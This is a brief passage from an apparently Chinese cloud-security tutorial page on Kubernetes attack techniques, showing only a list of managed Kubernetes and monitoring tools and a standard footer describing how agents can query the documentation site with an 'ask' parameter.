  * &#x20;托管Kubernetes：Azure、Alibaba Cloud
* 监控监测
  * &#x20;监控：Prometheus、Cortex、Thanos、Grafana


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/di-liu-zhang-yun-yuan-sheng-gong-fang/kubernetes-chang-jian-gong-ji-fang-shi/kubernetes-att-and-ck.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
